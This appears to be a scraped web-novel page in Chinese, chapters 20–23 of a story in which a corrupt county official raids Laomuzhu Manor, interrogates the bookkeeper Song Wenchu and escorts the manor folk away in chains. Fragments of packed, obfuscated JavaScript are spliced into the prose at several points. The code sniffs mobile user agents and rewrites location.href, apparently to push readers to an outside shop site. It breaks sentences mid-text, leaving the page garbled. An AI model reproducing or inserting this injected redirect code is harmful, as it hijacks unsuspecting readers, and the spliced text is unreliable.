今日韩山再次拿出这卷旧宗，一字一句精度似有考量。师爷躬身立案前，见此，即从袖中摸出一封书函双手递上。 “东翁，险些忘了桩事。半个月前有人投了封实名检举信到县衙，那些日东翁正忙冬敛之时，底下无敢惊扰便将此信搁下了。今儿整理文书才翻出来，学生不敢自专，烦请东翁定夺。” 韩山嗯了一声，没太在意：“念。”大概又是邻里纠纷，田地争讼等等，听都听腻了。 “具呈人……老母猪庄周氏来历不明，疑似……” 听到老母猪庄四字，韩山赤头白脸劈手夺过，他一目十行扫过去，信纸在他手里颤抖。他眼冒喜光，嘴角极力往下压，却压不住地又翘起来。 将信叠好塞入袖中。 老母猪庄啊……他惦记了不是一天两天了。如今刀柄递到手里，他得趁热握住。 师爷站在一旁，看着他那副急色模样心里有了数。他跟了韩山这些年，见过他这等态度的次数一只手数得过来。上回他这样，还是三年前发现牟家私盐案时候，那回足足敲了八百两银子。 “备轿，叫上赵捕头和几个得力的，带上刀。” 师爷应了快步出去，韩山绕过书案又叫住他： “那份检举，还有谁知道？” 师爷想了想：“收文的小吏看过，学生看过，旁人应是没了。” “把那个小吏的嘴封上。今儿这事，不许声张。” “是。” 20. 佛面罗刹 庄里人赶完庙会三三两两往回走，远远的就听到他们说笑声。宋文楚站在庄门口等到现在，腊月寒风吹得她鼻尖发红。 最前头的大翠花一眼就望见她了，小跑着过来抓住她手：“哎呀，你这么快就能下床啦？” 宋文楚一愣：“我怎么了？” “狗剩说你昨夜染了风寒要好好歇着，叫我们别去打搅你呢。我还寻思着给你熬碗姜汤送去，狗剩又说不用让你睡一觉就好了。你怎么还自个儿跑出来吹风的，真不怕再病倒！”大翠花上下看看，直感叹哭震天身体好，睡一觉起来果真一点病气见不着了。 宋文楚未多做解释：“我没事了，你先进去吧，我再等等狗剩。” 大翠花笑嘻嘻地应了：“给你带了桂花糕还有个小泥哨，可好玩了。你快点儿来啊，我给你留着呢。” “嗯嗯。” 大翠花跑远了，脚步声哒哒哒的。 人都进去了，狗剩到最后才迟迟露面。他一人慢吞吞走着，见了她神情怔忡一瞬又加快步伐，宋文楚下意识瞟他腰间，那里没有剑。 “等我呢？从前怎么没见你这么黏过狗剩哥？” 狗剩离她只有一臂远了，双手背在身后。笑容轻轻巧巧，言语浮夸飘飘，只口不提昨夜之事。 “为什么要那样做？”她问。 他知道她问的什么，不说话还是笑，宋文楚恐惧他的笑，跑过去抓住他衣裳摇他：“狗剩哥你告诉我啊，马三哥到哪儿去了？还有，还有我的鲲呢？” 狗剩被她摇着衣裳歪了，他也不挣，眼睛看着她，抬手落在她发上揉了揉。 “鲲我没看到。马三哥……你查了他账丢了他差事，我了解的，他那个人记仇得很。你总有出门时候，怎么防得住呢？” 防不住，那就先下手为强。 对于马三哥的死，宋文楚并未心生几分怜悯与哀戚。宫中的生死未尝不是司空见惯呢，上位者杖毙太监、赐死宫女、失宠妃嫔被弃于冷宫病疾而终……便是她自己都是险死的人了。 马三哥贪墨庄上银子，拿霉面糊弄大家，这种人死了是祸害除了，又有何好难过的？种什么因得什么果，她不会亲手去杀他，可他死了她也不觉得亏心。 她只觉狗剩陌生得令她心惊。一剑穿膛的狗剩，化尸青烟的狗剩，踏梅寻踪的狗剩，若无其事的狗剩，孰真孰假的狗剩，她恐惧的狗剩。 似乎又不止是狗剩如此，贾阎王，大翠花，庄里的每个人都对此心照不宣，是否她以为的收留与温情，都建立于她一无所知的秘密之上？ 而狗剩给出的理由，只是为哄她随手打发了她的蹩足借口。 似乎只有她被排除在外，原来她从未真正属于这里。 最最令她无措的，是连与她相依为命的宋展翅竟也弄丢了。 狗剩不肯给她一个答案，宋文楚自知再问下去纯属自讨没趣，她转身留给了狗剩沉默的背影。 宋文楚去到大翠花屋里和她分了桂花糕，鹅黄色的糕点上半嵌了细细的桂花屑，如同整个秋天被封存其中。她们又玩了小泥哨，那是只圆润鼓囊的小麻雀，上了层天青色的釉，大翠花含住尖嘴放开一孔吹，“嘀——”，两孔全按再吹，“呜——”，两孔全开摇头晃脑地吹，“啾啾啾——”两个人笑得靠作一团。 回去后，她将小泥哨看了又看，最后也一同塞进褡裢，只留下案桌上一纸辞帖。宋文楚吹了灯，上榻搂着褡裢闭眼，眼角落了两滴光，伴着光入了眠。 子正时分，天滴了星子，星星点点汇在坑里炸开了花，泥土路上听闻马蹄咚咚，驶往老母猪庄。 当先一辆黑漆马车停下，马夫俯身将轿帘掀开，有一人先出在旁撑开伞，从中又出个人来。韩山站定，只见他四十来岁模样，身着黄鹂补子绿色常服，顶上乌幞头，嘴角噙着笑，乍见如佛面。 赵捕头上前，值守的长工听到敲门声揉着眼睛打开，开门便见一黑面罗刹杵在门外，已醒了七分，再听到高呵声在耳边爆开，又醒了余下三分：“九庐县县丞韩大人在此，还不快叫你们庄主出来！” 长工跑进去，不一会儿狗剩迎上来，行止车架前拱手行礼：“县丞大人远道而来，庄上有失远迎，不知大人此来所为何事？” 师爷展开一张官府公文，上头清晰盖着知县朱红大印。 狗剩身形有一丝僵硬。 韩山笑了笑：“本官近接到检举贵庄有私囤粮草账目不明之嫌，举报人姓马名三哥，正是老母猪庄中人。本官今日前来，一是查证举报之事，二是当面询问举报人，信中所述可有实证，此人现身在何处？” “大人来得不巧，”狗剩听是马三哥举报也未曾露出异样，“马三哥昨儿个夜里走了。” 韩山眉毛动了一下：“走了？” “马三哥在庄上三年，前些日子账目上出了些差错，我让他结清了银子另谋高就。昨儿个夜里收拾了行李从后门走的，至于去了哪儿就一概不知了。” 二人目光在雨帘里对视，韩山挥袖径直往前：“走便走了罢。账本呢，拿来给本官瞧瞧。” 狗剩避让一侧跟在身后，将韩山一行迎进会客屋，低声对值守长工耳语几句，长工离去，狗剩泡茶端上与韩山寒暄起来。 那长工跑到账房先生的小屋外急切切敲门呼唤：“哭震天，县里的韩县丞方才突然来了，说要查账，你快醒醒！” 宋文楚从梦中惊醒，她把先前理过按年份排好的账本搬出来。屋里没伞，算了，她将账本掖进怀里随长工疾速跑动，一脚踏起一朵水花，一前一后进了前院会客屋。 韩山掀起眼皮打量头上、脸上、身上淋得满是雨水的宋文楚：“这位是？” 狗剩：“庄上新请的账房先生。” 账本呈上，宋文楚盯住韩山翻动的手指，他看账的速度很快，看了几页，又合上，再翻开一本看了几页，又合上。 快得宋文楚怀疑他简直在胡看。 “这笔另外支出是什么意思？”韩山合上最后一本，抬头看向宋文楚，“贵庄现有多少人口？” “三十八口。”宋文楚答得很快。 三十八口……韩山意味不明地将她的话又重复一遍。 “三十八口人，一年要吃多少粮食？” “大约两百石。” “你们庄上多少田地？” “水田一百二十亩，旱地四十亩。” “一百六十亩地，亩产多少？” “水田两石多些，旱地七八斗。丰年能到三石，灾年就不提了。” 韩山在心里算完账，带着刺的就开口了：“账上写的去年粮产是四百石，可本官手里有一份东西上头写的是五百五十石，你作何解释？权且算做四百事，扣掉种子赋税等，还剩下三百石出头。三十八口人吃两百石，还剩一百石。这些粮食，又去了哪里？” “大人，账上写的石数是收成的数。地里粮刚收上来是湿的，晒干扬净折耗一成到一成半是常理。大人所说的五百五十石，算起来只是地里的毛数并非入库的实数，庄上的账只记实入库不记毛数的。多的粮食有的卖了换成油盐布匹，余下存起来备荒。” “卖了？卖给谁了？”韩山眯起眼睛。 “清水镇上的粮铺。”宋文楚报了几个名字。 “你们庄上的山货，又卖去的哪里？” “镇上收山货的铺子，哪家价好卖哪家。” “可有账目？” “有。”宋文楚从怀里翻捡出一本再次递上。 韩山这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17379185|198335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回放慢了速度的看，还真让他看出了点什么，他指着那笔“另外支出”旁边注释药材采购的账目道: “老母猪庄每年采购的一批药材，价格竟远高于市价，这购得究竟是什么神仙妙药？” 这笔账宋文楚也不清楚，张先生记得含糊她无从考证，韩山问起她只得实话实话:“这账是上一个账房先生记的，交接时对方并不在场，我实在不知。” “你们这个小小老母猪庄，里头藏的猫腻倒是不小。罢了，你方才说的那些折耗挑拣都在理，这笔另外支出的账本官记下了，改日再细对。”他把账本往旁边推了推，似要轻轻放下了。又陡然话锋一转，“本官很好奇，你小小年纪怎么就做起账房先生来了？家是哪里的？” 宋文楚神情自然把练说了无数遍的说辞端出来：“从南边逃荒来的，家里人都没了我独自流落到此，幸蒙庄主收留在庄里管管账混口饭吃。” “逃荒……南边哪一府？哪一县？哪一年遭的灾？” 宋文楚心里暗骂这位沐猴而冠的县丞真真个儿多疑，她对南边的地理只知道个大概，哪一府哪一县混沌不分，狗剩当初盘查都没这么仔细过。可也不敢编，编出经不起查。 “那时候年纪太小了，不大记得清。” 韩山“嗯”一声没追问，递给师爷个眼神，师爷立刻伸进袖口里翻找东西。 “叫什么名字？” 宋文楚下意识地答：“楚文。” 师爷将那流民安置书抽出扫了一眼，对韩山摇摇头。 “这卷上没有这名字。” 对，她在庄中登记在册的一直是哭震天，楚文这化名只有狗剩听过。 “我……上书的应该是个别号，名哭震天。” 师爷弯下腰，这回让韩山亲眼去瞧，韩山瞧过了又将目光对准宋文楚，眼中满是戏谑如猫戏鼠。 “也没有，且册上只有三十七人。” 怎会！狗剩分明说过庄上连她共三十八口人，她来的那日一齐进的两个年轻后生，他们名字都在册上，为何独独缺了自己？ 迎上宋文楚不解眼神，狗剩亦是一脸错愕。他望着师爷手中安置书，片刻后像是想到什么脸色立马阴沉下去。 “许是新编的安置书未迭更过来，我这儿有备大人若不放心可以当场查验，庄上的人都知道——”她隐隐觉察到韩山意图，不行，不能让他以此为借口发难。 “我怎知你手中那份是真是假，况且庄上的人说什么，本官就该信什么？那这检举信，本官也不必接了。” 韩山不笑了，目光一厉。 “楚姑娘，现在本官问你一句你且答一句，若答不上来本官就当你心虚，你可愿？” 宋文楚只得点头。 “你说你叫楚文，可这信上没有。你又说你叫哭震天，这信上也没有。那你叫什么？你从哪儿来？你又凭什么在这庄上，管着这三十几口人的账？” 她没法说，她现在说什么都不对。 “这么看来，”他掀开下袍摆站起身，“你的形迹十分可疑，本官此次前来除却查账一事，更重要的是缉拿窝藏老母猪庄中逃犯。本官现在怀疑你就是检举信中所提及的逃犯。来人，将她拿下，带回县衙细细审问。” 佛面韩山悠悠踱步开路，赵捕头带着两个差役罗刹执刀，从身后走来身侧伴行。 他们渐渐逾近，宋文楚步步后退。 “你们没有确凿证据指向我是逃犯，凭什么抓我？” 韩山抬手，赵捕头三人停下。 “那好啊，本官给你一炷香的工夫仔细想想。一炷香之后希望你想起谁是真正的逃犯，若不然本官自当你就是。” 韩山退后转身往门口走，沐在月光下，闲情逸致着赏月。 21. 敬亭绿雪 方才狗剩斟上来的茶，韩山抿了一口便品出是产自常湖二兴一带的罗岕茶，味甘甜清冷幽而不烈，底下人每年都拿这茶来孝敬他。文人雅士常将罗岕和虎丘、天池、龙井相比较，总也论不出个高低之下。 当年同在翰林院熬资历的那几位，庄孝廉爱龙井，如今已是翰林侍讲；爱虎丘之冯举人者，外放做了知州；天池者陈进士，升做府丞。独他喝罗岕，幽是幽了，一幽就在这九庐县丞的位子上幽了四年。 如今那把炒青罗岕的烈火好算来了。 老母猪庄在清水镇独立十二年之久，期间不拜码头未附豪强，既成了豪强眼中钉又是他韩山口中肉。 总归主事的是个无根无基的妇人，随便捏个罪名便能敲一笔大的，顺手卖豪强个人情。至于马三哥的举报信是真是假？那不重要。他想要的并非真相，不过一个能名正言顺翻箱倒柜的由头罢了。 趁年底清查账乱仓满，正是下手的好时节，先往口袋里捞一笔，回头再指些人往上头递份清剿流民的政绩，他自能换一份新茶了。 韩山思及此，一柱香功夫已至，他负手转身面色悠然。 “账房先生，想起躲藏庄中的逃犯是谁了吗？” 屋中目光齐聚宋文楚身上，宋文楚冷汗涟涟。欲加之罪何患无辞？认是栽，不认也是栽。诚然她不会担下这罪，可她也不会为脱己身而将莫须有的污名假托他人。 “我不是，庄中也没有人是，望大人明查。” 此语正中韩山下怀：“好，没有那就搜吧，每一间屋子的角落都给本官翻过来搜。” 赵捕头手一挥，七八个差役随着他散开往庄子里闯，噼里啪啦就是一顿翻箱倒柜的声响，惊得庄客衣服都未披好就惊散着跑出来。两个差役才踹开前屋的武巡屋，半只脚迈进去便齐齐倒飞出去栽进庭院的水坑里，爬都爬不起来。 贾阎王收回出掌拧着眉走到廊下，狗剩也跑近了，他与贾阎王对视，接到贾阎王询问眼神狗剩摇头：来者不善。 狗剩来到贾阎王身边二人并肩而站，恰如一刀一鞘，刀藏锋，鞘止利。 那俩不休的喋喋哼唧声还是引来了韩山露面，赵捕头把他们从地上拉起来。贾阎王自然认得他，依是一副无惧模样：“谁让你们动的？”他向前半步表明态度。 这半步叫赵捕头的手按上了刀柄，气氛正剑拔弩张着，韩山反倒轻声笑了：“本官奉命查案，怎么你要拦？” “大人竟是查案来的吗？搜庄总得有搜庄的由头，大人可有官府的文书？有上峰的批文？什么都没有就这么闯进来，恕小的眼拙，以为土匪进庄了呢。” 贾阎王再是辛辣言语眼下也激不到韩山，只让他觉得好笑，这人再逞能也就这么一会儿了。 师爷再次摊开那张公文，公文上虽说写的是清查流民与核对户籍，不过嘛，搜庄也是清查的一部分。至于逃犯，查着查着不就查出来了么。 “本官劝你想清楚。搜是本官的公事，拦就是本官的犯人，你是想当哪个？” 贾阎王不答韩山只当他同意，下巴微抬，赵捕头就冲到二人面前，语气硬邦邦的：“让开。” 狗剩目光凉凉，伸手搭上赵捕头刀柄。 “捕头大哥别急，大半夜的刀剑无眼。”偏头又对韩山道，“我家庄主近日不在难免接待不周，若不然大人改日再来？” 赵捕头提手就抽刀却抽不出，脸挣得通红，手腕拧了一下再拧一下，狗剩的手还是稳稳搭在上面，他甚至低头对赵捕头展露一个聊表歉意的笑。 “改日？改日怕是真有什么也查不着了。你们先是袭官现在又多次阻拦搜查，莫不是想造反？”韩山拔高声音。 师爷站出附和：“按大梁律，持械拒捕、殴伤公差等轻则流放三千里，重则斩监候！贾武巡，就你方才那一下若是把人推伤了，我们现在就能把你拿下，那就不是什么窝藏逃犯的事了——是造反！”轻飘飘着就给他们压上顶重帽。 贾阎王眼里铮锐若能化为实质，意韩山早就被他凌迟了。可没用，他拳头捏了又松，松了又捏，最后索性别开头不看。 狗剩也知韩山今夜是下定了决心要拿他们，挡也不住，还是松了手，赵捕头退后两步喘着气手还在抖。 狗剩叹口气：“大人既然想搜那便搜吧，屋里也没什么见不得人的。只是大人搜也得讲个规矩，让这捕头大哥一人进去就好了，这么多人乌泱泱闯进去难免碰坏些东西，庄上东西虽不值什么钱，却也都是大伙儿省下来的，弄坏了怪心疼的。” 韩山依了他，像什么事都没发生过云淡风轻一声令下：“搜。” 这次没人拦着，其余人在门口候着，所有人望着他动作等着天亮。赵捕头很快空着手出来了，这里搜不出什么，他们又去到后院，狗剩与贾阎王紧随其后。 沿路寻至后院最深处，坐落是周庄主的屋子。坐北朝南，一明两暗，中央明间作厅，东西两暗分别是卧房与书房。 “那是庄主的屋子，庄主不在外人不好进去。”贾阎王挡在前面，不让他们再进一步。 底下人的屋子查就查了，可这是周庄主的屋，绝对不能让他们查。 韩山静静看他：“你们要的文书本官拿出，你们要的批文本官回头补，你们要的规矩本官也守了，你还要拦吗？” 贾阎王还是不让，韩山眼底怡悦的光在浮动，他的固执令韩山确信无疑，越不让搜越表明这间屋子里有问题。韩山甚至在心里谢了贾阎王一句，谢他不遗余力地为他搭台捧场。 赵捕头本来在跟贾阎王眼神较劲，虽说是他单方面的，贾阎王看也不看他实在目中无人。他深呼口气，待着韩山指示准备随时硬闯，眼见余光忽扫过窗户，急急扭头细视。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394205|198335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但见窗户映出条人影，那影子一动不动像是钉在了窗户上，赵捕头呼吸逐渐粗重兴奋占据了他脑颅。人影似乎察觉到窥伺，缓缓转过头来，赵捕头随即有种被双眼睛绞住的注视感，再也等不及，他暴呵一声：“谁！”猛地撞开贾阎王，连跑带跳，踢开房门就涌了进去。 贾阎王被撞得脑子空白了一瞬，反应过来后沉默着跟上，韩山嘴角上扬欣然随往。 所有人都在往周庄主屋里走，只有狗剩站在原地，宋文楚借着火把的光，照见狗剩脸上来不及收起的慌张。 赵捕头心头亢奋维系不过几息，就被浓浓的失望代替。窗户边的人消失了无影无踪，他点了所有灯将屋内翻了个遍，床底下找了柜子查了，床上叠得整齐的被子也被他一把呼啦开了。他边翻狗剩边跟在他屁股后面复原，赵捕头正心烦意乱着，瞧见狗剩动作只觉得碍事。 赵捕头甚至不死心站到先前那处再看窗户，那里现在已经没有了人影。他回到韩山跟前不敢抬头，没搜到周庄主，没搜到兵器，也没搜到任何能坐实窝藏逃犯的证据。 韩山脸上的笑淡了下去。 “你方才确切是看到里面有人了？” “是！卑职的确看到了。窗户上那个人影我不会看错，就是不知道躲哪儿去了。”赵捕头恨得眼要滴血，开口就是一股不服气的倔。 “老母猪庄嫌疑重大，既然庄主不在那本官只能请诸位委屈几天了，来人——” 他转头朝赵捕头吩咐了几句，赵捕头立即出去召集来所有差役，把庄上人一个一个点过去，被点到名字的站到赵捕头面前，大家正不明所以。 “我们韩大人也不是不讲道理的人，事情查清楚了自然放人，可查不清楚那就只能公事公办。现在我们要把人带回县衙，就刚刚点到名字的那些，剩下的留在庄子里等你们庄主回来去县衙门赎人。” 被点到的人脸上挂着忐忑，没被点到的悄悄松了口气。贾阎王被留下了，宋文楚、狗剩、大翠花及另外七八个人都被点了去。狗剩被差役押着往外走经过贾阎王身边时侧了侧脸，贾阎王微微点下头。 韩山上了马车就闭眼小憩，连日来的舟车劳顿未免有些疲倦。铁链拴住庄客们双手，链子另一头由差役们攥着。 差役们押着人走在后面，大雨瓢泼，庄客们被驱着深一脚浅一脚在土路上沿往官道走。 从老母猪庄到九庐县官道一百五十里，因着下雨押解走得慢，韩山并不急着赶路，他急什么呢？人已经在手上了，拖得越慢他们心越慌，到时候不打自招了，他可还等着钓周庄主那条大鱼。 再者押解途中本就归他全权处置，多磨蹭一天，公账上就能多添添几笔“差役饭钱”“住店例银”“马匹草料”等，回了县衙报上去就都是他的了。 铁链这么着哗啦哗啦地走一路响一路，响得他心旷神怡。 22. 白马银枪 第二日晌午，大部队路过一个叫柳沟的地方，韩山看到官道旁搭着个茶棚，吩咐停下歇歇脚，竟还大发善心地让众人去喝盏茶，大翠花于是这会儿破天荒没骂他。 茶棚老板是个瘸腿老汉，提把铜壶拖着条腿走来走去给他们倒茶，茶水从高处泻下落入碗中一滴不撒，手法十分了得。 宋文楚他们被安排在角落里，差役们围坐在外头，铁链子搁在桌角随时都能摸到也不怕他们跑，老汉对这架势也没感到惊诧。 “各位官爷好汉，小店这茶可是好东西——前朝贡茶，宫里娘娘喝的呢！” 赵捕头正端起碗要喝，闻言手一抖，茶汤晃出来几滴落在手背上，烫得他嘶了一声。 “什么？前朝的？” 他脸色大变直接把茶碗往桌上一墩，旁边几个差役也愣了，谁也不肯再碰那茶碗，仿佛那茶碗会咬人似的。 瘸老汉忙解释：“官爷莫怕！前朝是前朝茶是茶，一没牵连二没变味，再说了，前朝都亡了多少年了，喝碗茶还犯法不成？” 赵捕头瞪他一眼，腮帮子鼓成河豚，想骂又觉着丢了份。他转头再看旁边那几个差役，一个个都眼巴巴望过来，赵捕头脸上更是挂不住。他好歹是个捕头，总不能在一碗茶跟前露怯！ “你这老东西，怎不早说？” “早说了，官爷就不敢喝啦。其实啊这就是后山种的粗茶而已，哪来那么多贡茶？说得好听，只为多卖几文钱罢了。” “你这老东西，真是嘴里没一句实话！”赵捕头气得端起碗一饮而尽，再把碗往桌上一掼。 老汉嘿嘿赔着笑：“官爷，这世上的很多事都真假难辨着呢。您说它是贡茶它就是贡茶，您说它是粗茶它就是粗茶，全凭您怎么想的。” 赵捕头又笑骂他几句，老汉被骂得也高兴，又给赵捕头说些逗趣话。 宋文楚端着茶碗看，碗底茶叶舒展开来，叶形修长，叶脉清晰，汤色呈清碧透亮。 她抿过一口，唇沾在碗上顿住。 是敬亭绿雪。 在前朝时是贡茶，本朝初年也贡过几年，后因战乱茶园荒废自此便断了。这茶最怕放，一放就散味。唯有以陶瓮封存，松针隔层才能存住香味。 “老人家，这粗茶挺好喝的。” 老汉哈哈笑起来：“小姑娘是个有眼力见识的。我这茶棚开了十一年，来来往往多少人都说我这茶好喝。” 宋文楚：“您说这茶棚开了十一年，那之前呢？是做什么的？” 老汉擦茶壶的手停了一瞬，很快又恢复过来继续擦他的壶。 “之前的事提它作甚，是些前朝的事了说起来都是泪。” “前朝的事，”她斟酌着字句，“跟本朝有什么分别？” 赵捕头那边几个差役耳朵都竖起来了，眼睛时不时往马车里扫，一副想听又不敢听的忌惮样。狗剩，大翠花他们也看过来。 “那会儿的兵比现在还多，仗也比现在都密。天天有兵往这条官道上过，我们这些老百姓被征去修路挖壕运粮，一去就是一年半载回来的也没几个。” “后来前朝没了换了本朝，兵还是照样过，仗还是照样打。修路的还是修路，运粮的还是运粮，死了的还是一样回不来，说起来也没什么分别。我这条腿就是在前朝修的官道上砸坏的，修了三年断了腿换来的工钱，结果新朝不认前朝的票子，就成废纸咯，擦屁股都嫌膈着。” 他拍拍自己的瘸腿，分明是带了笑意说着这些话，却怎么看都无端的苦涩悲伤。 赵捕头在旁边听着，脸色变得不自在。他端起茶碗又喝了一口，闷闷地咽了下去。旁边几个差役也低了头，谁也不说话。 老汉知道自己话多了，忙找补：“我这不是怨的意思啊，官爷们莫要误会！本朝挺好的，断腿是我的命，活着也是我的命。前朝都亡了，现在的皇帝是谁我也不知道，怨不着别人，我只怨我自己命不好哈哈哈。” 从前看父皇批折子说这里打仗了，那里闹灾了，这个贪污了，那个叛乱了只觉得遥远。现在她在听着老汉讲前朝事，原来这些事一点都不远。哪朝哪代都是一样的，兴也苦亡也苦，底下的老百姓是同样的苦。 师爷来催，赵捕头喊了声“走了”，众人起身铁链一阵哗啦声响。宋文楚朝老汉欠了欠身，老汉摆摆手站在茶棚底下，提着铜壶目送着他们往东去。 押送队伍在官道上走了一天一夜，眼下天又黑了正走到太平镇，镇口第一家就是间客栈。韩山说投栈吃顿饭，明一早再赶路。 宋文楚他们的铁链在进店前解了，可赵捕头的眼睛时不时往他们这边瞟，明晃晃告诫别想跑。她也没想跑，她都饿得能吃下头牛了哪里跑得动，眼下只想吃口热乎饭。 连戴了两天的铁链，又沉又容易往下坠，坠得她肩膀都酸溜溜的，宋文楚揉着被磨得通红的腕子打量起这家店。 店里客人不多，都是些普通百姓或行商，较为醒目的就属一个山羊胡老头。他在大堂左侧摆弄张条桌，桌上搁快醒目，摇着把破山水折扇。堂里正安静着呢，他突然清了清嗓子。 宋文楚起初没在意以为就是个算命的，跑堂的刚把饭菜端上来，那山羊胡忽然醒木一拍——啪！ “列位客官，老朽今儿个不讲话本故事，不说江湖传奇，单表一位当世女杰——偏关孟贞石将军！” 赵捕头正扒拉着碗里米饭，听到这名号眼睛立即一亮，嘴里还嚼着菜呢就含混不清地说：“孟贞石将军？又打仗了？”赵捕头平日里眼高于顶，可一提孟贞石他是满心满眼地敬佩，这是他心中活菩萨马上真罗刹。 说书先生见有人搭腔，精神头上来了，折扇一展摇头晃脑地开说起来。 “话说今年秋，鞑靼两万铁骑趁着月黑风高夜，欲偷渡桑干河，要断偏关粮道。当消息传至孟贞石帐中，诸将皆惊，一人说‘敌众我寡，坚守为上’，一人说‘速向雁门求援’。孟贞石将军正在啃窝窝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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民间相传孟贞石自十几岁就披甲上阵，十年征满身痕。遇前堂战事胶膈，孟贞石自请领兵上阵，每每凯旋而归一不要金银二不要宅地，只要粮草马匹。永安帝问她为什么光要这些，孟贞石道：“臣无所愿，唯愿边关无战事，士卒早还乡。”帝当庭涕泪齐下，“得良骁将者孟贞石，乃朕之幸，永安之幸，天下黎民之幸！” 天子赐号“忠勇神将”，孟贞石辞金不受请分犒士卒，军中将士感泣愿誓死追随。 永安四年东，鞑靼复犯。孟贞石率骑兵追出塞外单骑闯敌营，六日六夜不解甲生擒鞑将三人。归时爱马飞越峰力竭而死，孟贞石抚马恸哭，帝慨其乃情深义厚真女子。 有翰林院侍讲学士李慕白者宴间击节而慨，当场诗云: 谁道峨眉不挂弓，神驹踏雪血痕红。 圣朝若少将军在，鞑马长驱入南宫。 诵毕，举座皆动容，帝亦叹之再赐天马玉花骢。 永安八年春，孟贞石年二十有六，朝廷欲调其南下平叛，孟贞石上疏：“北疆未宁臣不敢离，南事自有南将，北门锁钥非臣不可。”朝议哗然或言她功高当抑，或言女子不宜掌兵，或言她狂傲清高难号令，天子力排众议竟从其请，自此留边至今。 几个差役们眼里有什么东西在打转，许是烛火晃了眼，晶莹中折射出彼此的剔透心。要是他们追随的是孟贞石之辈，那该多好。 宋文楚把这些事一件件记在脑中，也将孟贞石的名字刻在了心里。若是有朝一日，她也能如孟贞石那般令天下人闻起名便畏之，敬之，听见她的名字就腿脚发软，那该多好。 彼时的宋文楚尚不知晓，那个远在千里之外骑烈马使长枪的传奇将军，日后会与她的命途缠作了一处，再难分解。 23. 红白撞煞 丑时分，也不知听谁喊声走水了走水了。 宋文楚刚披衣坐起房门就被从外踹开，另几位女眷被这动静闹醒，个个够着头去看，赵捕头身后火光通天，混成一片的各式声音嘈杂入耳。 再不用催，她们瞬即搂了衣裳往身上堆，慌乱奔跑中也不知踩掉了哪位的鞋，怨声连天骂着不长眼。 客栈里到处乱哄哄的，赵捕头招呼手下差役勉力把人质拢到一处点清了人头，确认一个没少才押着人群往外走。店老板追出来喊客官还没付房钱，赵捕头头也不回地扔下一句：“找你的火神爷要去！” 韩山的马车早已侯在了门口，轿帘敞着他站在车前，脸色不大好看。 队伍摸黑上了路，宋文楚跟在后面走着倒是无所谓。她本来睡眠就浅，外面打雷下雨、猫儿叫春，才响过第一声她便醒了，这几日丢了鲲心绪低迷，更是睡得断断续续。 反正晚上吃饱了饭肚子里有食，身上力气也足，赶路就赶路吧。 走了约莫一个时辰，官道越发不好走了，赵捕头骑在马上腰都快被颠断，坐在里面的韩山也算不得好受，车厢颠了哐当响。 轿子突然急急一停，韩山额头差点磕在车门上，他眉头紧蹙正要开口训斥，却没听到人说话，他掀起帘。 与此同时赵捕头策马上前，顺着差役手指方向望去—— 百步开外，两拨人马拦在路中间。 左边一拨披红挂彩，吹鼓手喇叭歪肩上，红绸花轿横在路中央，迎亲送嫁喜气洋洋。 右边一拨披麻戴孝，白幡翻滚，黑漆棺材搁在地上，棺前站了一排的孝子贤孙，哭丧声阴阴幽幽。 这边吹鼓手吹得愈欢，那里白纸撒得更急，唢呐啼血，纸钱泼白。白纸缠住唢呐口，随风飘过挂在花轿头，又贴上轿顶垂下的红流苏，红与白纠缠一处，喜庆和悲伤搅成一团。 两拨人马面对面堵在路上，谁也不让谁。 此时东方未白。 淮扬地卑多水，旧俗中以寅时将尽阴阳交替之时，亡者宜出殡，赶在鬼门合拢之前将亡人送往阴司，是谓趁阴。新妇亦宜出嫁，借天地交泰初阳之气镇百邪旺自家，谓之乘阳。 可若两者狭道相逢各不相让，两下里大喜大悲冲撞，便是“红白撞煞”，行人若无意闯入阴阳局，轻者折寿重者暴毙。故以淮扬人家凡嫁娶出殡大事，必先遣人探路，一里一报当确认无碍后才敢启程。 然而眼下这两拨人马竟能撞在一起，要么是探路的瞎了眼，要么就是——有人故意阻他们的路。 差役们大多低头不敢看，有个信佛的在念阿弥陀佛，还有个年轻胆大的想往前探被赵捕头拦下数落了句不要命了。而相较官兵们的惧怕，人质队伍倒是淡定多了。 狗剩甚至给宋文楚他们讲起小时候在义庄边上住了大半年，夜里常去借蜡烛。还夸赞里面的人不吵不闹的比外面的好打交道多了，大翠花翻个白眼说他吹牛。 赵捕头脸都白了头皮一阵阵发麻，犹豫问道：“大人，这……” 韩山坐在轿中闭着眼，把这夜的事从头捋了一遍。先是客栈走水将他驱起赶路，再是晦气接连遇红白事挡道。他似乎正被一张无形的网罩住，对手在暗中操纵着他的一举一动。 冲过去还是绕偏道？ 若真是有人设局，他绕道走就是往套里钻，可县城已近在咫尺约莫一炷香的工夫就能到，这地界太平也出不了什么事。若不是，只是哪个不长眼的破落户坏了规矩，他沾上这晦气也够他膈应半年。案子办到这一步，功劳簿上的字还没写成，犯不着跟命过不去。 韩山骨子里的赌性与掌控欲更是被点燃，他在这地界当了四年差什么阵仗没见过？如此大费周章装神弄鬼阻他，想来是图他手中这桩案这些人，却又没来直接劫人，倒像是在怕他，指望这点小伎俩将他吓得缩回去。 